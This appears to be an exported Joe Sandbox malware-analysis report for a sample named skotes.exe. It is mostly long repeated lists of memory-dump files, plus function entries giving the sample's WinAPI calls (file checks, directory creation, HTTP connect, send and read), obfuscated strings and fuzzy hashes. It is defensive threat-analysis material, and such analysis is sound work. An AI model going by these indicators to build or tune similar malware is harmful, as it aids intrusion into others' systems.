Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 1eca44cd70b4403f12d235a7afcb66f600c03c0dc6035d52ae13b793550cb24f
Instruction ID: 22d8314a3a6b4a6b7d5556e40612d7ed4d4852f86b99ed2a00d6ab5f8622aa95
Opcode Fuzzy Hash: 1eca44cd70b4403f12d235a7afcb66f600c03c0dc6035d52ae13b793550cb24f
Instruction Fuzzy Hash: F3A1E3B1A01205AFEB66DF64C984BAAB7F8FF15310F048539E815D7242EB75EA04CBD1

Function 0006F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0006F3A3

Strings

8", xrefs: 0006F44B
`', xrefs: 0006F375

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'
API String ID: 3903695350-2232028047
Opcode ID: f90ad80a20cb27691a0f451246883e715220fe80848eb063635019880ac685e4
Instruction ID: aa6e5e9f60f0c8810b0b66713b993448b2edb994a2d139381e875a5acee7d141
Opcode Fuzzy Hash: f90ad80a20cb27691a0f451246883e715220fe80848eb063635019880ac685e4
Instruction Fuzzy Hash: 7F316131600702DFEB61AB39E845BAB73E6EF01351F10842AE456E7696DF74ED80CB11

Analysis Process: skotes.exePID: 3320, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	723
Total number of Limit Nodes:	59

Executed Functions

Function 0003E530 Relevance: 27.2, APIs: 2, Strings: 13, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTw=, xrefs: 0004097D
111, xrefs: 0003F7A0
9c9aa5, xrefs: 0003FB8E
WDw=, xrefs: 0003F71D, 0003F9FA
WTs=, xrefs: 000405CA
MGE+, xrefs: 0003E821
UA==, xrefs: 0003EB0F, 0003ED56
L1, xrefs: 0003F7E5
GnNoc2Hc, xrefs: 0003E56C
246122658369, xrefs: 0003F737, 0003FA14, 000405E7, 0004099A
L/ds, xrefs: 0003E547, 0003EAEA, 0003F6F4, 0003F9D5, 0003FB77, 000408F7
MQ==, xrefs: 0003E592
#, xrefs: 00040624

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L/ds$L1$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2164987817
Opcode ID: 066800ebc3fd7209f2fea13e886a3fc1f44b0f55a31ba0568f16242c83d9bfc6
Instruction ID: 4218610a982603312552684b4a5630e5dacae529bfda5b0b18e015a90e11e4c4
Opcode Fuzzy Hash: 066800ebc3fd7209f2fea13e886a3fc1f44b0f55a31ba0568f16242c83d9bfc6
Instruction Fuzzy Hash: 0382E5B0904288DBEF15EF68C9497DE7FB5AB42304F508599E805673C3C7799A88CBD2

Function 0003EB4E Relevance: 33.6, APIs: 3, Strings: 15, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0003EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0003ED98

Strings

FCQgKF==, xrefs: 0003FEE4
111, xrefs: 0003F7A0
9c9aa5, xrefs: 0003FB8E
WDw=, xrefs: 0003F71D, 0003F9FA, 0003FDE3
WTs=, xrefs: 000405CA
mxo1L0x, xrefs: 0003EE84
FisgLnsCZO1i, xrefs: 0003FF19
stoi argument out of range, xrefs: 000408C4
UA==, xrefs: 0003EC41, 0003ED56, 0003EF89, 0003F2CE
L1, xrefs: 0003F7E5
GiQaT29tduF=, xrefs: 0003FEB6
246122658369, xrefs: 0003F737, 0003FA14, 0003FE00, 000405E7
L/ds, xrefs: 0003F6F4, 0003F9D5, 0003FB77
invalid stoi argument, xrefs: 000408B0
#, xrefs: 00040624

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L/ds$L1$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-992721064
Opcode ID: 5df79bc115a67bbd2beac1ef62ad51bce03a28d0d8512b592238d693c3d40da3
Instruction ID: 0bf71a971448a6545ccf9cc085191f2d593c0904d16f43cb32460c18d14c888f
Opcode Fuzzy Hash: 5df79bc115a67bbd2beac1ef62ad51bce03a28d0d8512b592238d693c3d40da3
Instruction Fuzzy Hash: DFF239B1A001449BEF19DB38CD897DDBB76AF81304F1082ACE449A73D7DB359B848B95

Function 0003BE30 Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,73642F4C,?,00000000), ref: 0003BEB8
InternetOpenW.WININET(00088DC8,00000000,00000000,00000000,00000000), ref: 0003BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0003BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0003BF36
HttpSendRequestA.WININET(?,00000000), ref: 0003BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0003C0A8
InternetCloseHandle.WININET(?), ref: 0003C187
InternetCloseHandle.WININET(?), ref: 0003C18F
InternetCloseHandle.WININET(?), ref: 0003C197

Strings

8HJUeMD Lq5=, xrefs: 0003C465
L/ds, xrefs: 0003C951
8HJUeIfzLo==, xrefs: 0003C3CB, 0003C623
RE1NXF==, xrefs: 0003BF0E
L/ds, xrefs: 0003BA04, 0003BE47, 0003C377, 0003CE6B, 0003DD2F
invalid stoi argument, xrefs: 0003E4F4
L/ds, xrefs: 0003C9B7, 0003C9BA
stoi argument out of range, xrefs: 0003E4EA

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
